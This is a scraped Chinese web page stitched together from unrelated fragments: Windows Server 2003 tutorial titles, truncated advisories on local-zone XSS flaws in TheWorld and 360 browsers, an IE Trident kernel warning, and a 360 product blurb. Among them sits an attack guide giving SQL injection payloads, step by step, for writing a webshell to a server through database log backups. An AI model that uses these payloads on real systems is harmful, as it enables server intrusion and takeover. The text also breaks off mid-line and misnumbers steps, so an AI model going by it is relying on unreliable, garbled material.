WINDOWS SERVER 2003从入门到精通之在AD中创建子域和域树

WINDOWS SERVER 2003从入门到精通之使用证书在WEB服务器上设置SSL(上)

WINDOWS SERVER 2003从入门到精通之使用证书在WEB服务器上设置SSL(下)

WINDOWS SERVER 2003从入门到精通之配置DHCP服务器(上)

WINDOWS SERVER 2003从入门到精通之配置DHCP服务器(下)

WINDOWS SERVER 2003从入门到精通之林之间的信任关系

WINDOWS SERVER 2003从入门到精通之活动目录数据库的维护

WINDOWS SERVER 2003从入门到精通之创建Windows域

WINDOWS SERVER 2003从入门到精通之NTFS特性

WINDOWS SERVER 2003从入门到精通之DHCP中继代理

WINDOWS SERVER 2003从入门到精通之AD中的5种操作主机



点此下载.rar (0 Byte , 下载:16次)

漏洞说明：http://www.80sec.com/360-sec-browser-localzone-xss.html

文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

漏洞分析：世界之窗浏览器在起始页面是以res://E:\\PROGRA~1\\THEWOR~1.0\\languages\\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞，简单分析如下：

str_td = “<tr ID=’twOldItem” + i +”‘><td v

　　加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.

　　日志备分WEBSHELL标准的七步:

　　1.InjectionURL’;alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式)

　　2.InjectionURL’;create table cmd (a image)-- (新建立一个cmd表)

　　3.InjectionURL’;backup log XXX to disk = ’c:\cmd’ with init-- (减少备分数据的大小)

　　4.InjectionURL’;insert into cmd (a) values (’"的16进制字符插入到表中

　　4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’C:\Program Files\Co

产品官方：360安全浏览器是全球首款采用“沙箱”技术的浏览器，能够彻底避免木马病毒从网页上对你的计算机发起攻击。360安全浏览器完全突破了传统的以查杀、拦截为核心的安全思路，在计算机系统内部构造了一个独立的虚拟空间——“360沙箱”，使所有网页程序都密闭在此空间内运行。因此，网页上任何木马、病毒、恶意程序的攻击都会被限制在“360沙箱”中，无法对真实的计算机系统产生破坏，真正做到百毒不侵。
360安全浏览器只有1.6M，小巧轻快、功能丰富，适合快速安装。除独家采用的“沙箱”技术外，360安全浏览器还集成了恶意代码智能拦截、下载文件即时扫描、恶意网站自动报警，广告窗口智能过滤等强劲功能，是目前市面上最安全的浏览器。

漏洞成因：360在软件被关闭时，如果有未关闭的标签，为了实现用户友好，该标签会在360的起始页面中被显示出来，但是360浏览器在处理用户输入上存在一点问题，导致软件中产生一个跨站脚本漏洞。该跨站脚本漏洞运行的上下文是在res://协议中，也就是在本地域中，所以

漏洞警告：通过对微软浏览器IE6跨域漏洞的深入研究，我们发现实际上即使在安装了IE7浏览器的操作系统中，也一样存在类似的问题。这个漏洞并不单独存在于IE6中，而是存在于微软提供的浏览器接口中。在微软提供的浏览器内核接口中存在的一个尚未被修补的安全问题，导致所有在IE内核Trident基础上开发的第三方浏览器都存在一个安全漏洞，可能导致跨域的一些操作，在特定的浏览器平台上甚至可以导致远程代码执行。我们建议有高安全性要求的用户暂时还是使用oprea，Firefox等浏览器，避免一些第三方浏览器给您带来损失。

漏洞说明：在和一些技术人员讨论之后可以看到，IE7并没有全新地在内核层次做太多变动，更多的是在IE7本身里Trident内核外围做了一些改动，这导致一些IE7很好的安全特性和修补的安全漏洞并没有遗传给那些使用IE内核的浏览器，因为它们本质上还是使用的系统的IE内核，而不是在外围做了改动的IE7。
一般的浏览器结构都是浏览器外壳+浏览器内核，rident是IE采用的内核心解析引擎，负责处理页面的渲染和javascript的执行。老的IE内核即Trident在几个方面对于第三方浏览器带来的威